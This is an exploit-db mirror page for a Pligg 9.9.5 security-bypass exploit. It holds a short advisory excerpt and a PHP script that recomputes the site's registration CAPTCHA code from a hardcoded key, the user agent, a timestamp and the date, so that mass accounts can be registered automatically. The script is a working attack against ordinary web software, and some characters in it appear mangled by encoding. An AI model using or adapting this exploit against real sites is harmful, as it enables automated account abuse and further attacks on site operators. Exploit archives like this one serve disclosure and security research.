exploit-db-mirror/platforms/php/webapps/32142.php
Offensive Security cf9a24defe Updated 03_11_2014
2014-03-11 04:29:44 +00:00

21 lines
No EOL
563 B
PHP
Executable file

source: http://www.securityfocus.com/bid/30518/info
Pligg is prone to a security-bypass weakness.
Successfully exploiting this issue will allow an attacker to register multiple new users through an automated process. This may lead to other attacks.
Pligg 9.9.5 is vulnerable; other versions may also be affected.
<?php
$sitekey=82397834;
$ts_random=$_REQUEST[&#039;ts_random&#039;];
$datekey = date(?F j?);
$rcode = hexdec(md5($_SERVER[&#039;HTTP_USER_AGENT&#039;] . $sitekey . $ts_random . $datekey));
print substr($rcode, 2, 6);
?>